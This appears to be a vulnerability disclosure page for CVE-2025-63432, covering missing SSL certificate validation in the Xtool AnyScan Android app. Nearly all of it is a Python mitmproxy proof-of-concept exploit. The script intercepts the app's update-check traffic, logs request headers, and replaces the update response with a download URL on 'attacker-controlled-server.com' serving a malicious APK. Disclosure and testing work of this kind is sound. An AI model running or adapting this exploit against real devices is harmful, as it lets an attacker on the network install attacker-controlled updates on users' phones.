CVE-2025-63432 | Xtool AnyScan Android App 缺少SSL证书验证漏洞

#!/usr/bin/env python3 """ CVE-2025-63432 PoC - Xtool AnyScan MITM Attack Simulation This PoC demonstrates the SSL certificate validation bypass in Xtool AnyScan app. Note: This is for educational and authorized testing purposes only. """ import mitmproxy from mitmproxy import http import json import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) # Malicious update server configuration MALICIOUS_UPDATE_HOST = "attacker-controlled-server.com" MALICIOUS_PAYLOAD = "malicious_update.apk" class CVE202563432Exploit: """ Exploit class for CVE-2025-63432 Demonstrates interception and modification of app update traffic """ def __init__(self): self.target_app = "com.xtooltech.anyscan" self.update_endpoint = "/api/v1/update/check" def request(self, flow: http.HTTPFlow) -> None: """ Intercept HTTPS requests from the vulnerable app Check if request is for update server """ if self.update_endpoint in flow.request.pretty_url: logger.info(f"[+] Intercepted update check request from {self.target_app}") logger.info(f"[+] URL: {flow.request.pretty_url}") # Original request headers logger.info(f"[+] Headers: {dict(flow.request.headers)}") # The app accepts any certificate due to missing validation # This allows us to perform MITM attack def response(self, flow: http.HTTPFlow) -> None: """ Modify update response to inject malicious payload """ if self.update_endpoint in flow.request.pretty_url: logger.info("[+] Modifying update response...") # Original response original_body = flow.response.get_text() logger.info(f"[+] Original response: {original_body}") # Inject malicious update URL malicious_response = json.dumps({ "status": "update_available", "version": "4.40.41", "download_url": f"https://{MALICIOUS_UPDATE_HOST}/updates/{MALICIOUS_PAYLOAD}", "checksum": "malicious_checksum", "release_notes": "Security update" }) # Replace response flow.response.set_text(malicious_response) logger.info("[+] Malicious response injected successfully") logger.info(f"[+] App will download from: {MALICIOUS_UPDATE_HOST}") def addons(): """Return exploit addon for mitmproxy""" return [CVE202563432Exploit()] if __name__ == "__main__": print("=" * 60) print("CVE-2025-63432 PoC - Xtool AnyScan SSL Validation Bypass") print("=" * 60) print("Usage: mitmdump -s cve_2025_63432_poc.py") print("\nPrerequisites:") print("1. Configure proxy on Android device") print("2. Install mitmproxy CA certificate on device") print("3. Ensure device is on same network as attacker's machine") print("\nThis PoC demonstrates how attacker can:") print("- Intercept HTTPS traffic due to missing cert validation") print("- Modify update responses to point to malicious URLs") print("- Trick app into downloading attacker-controlled updates") print("=" * 60)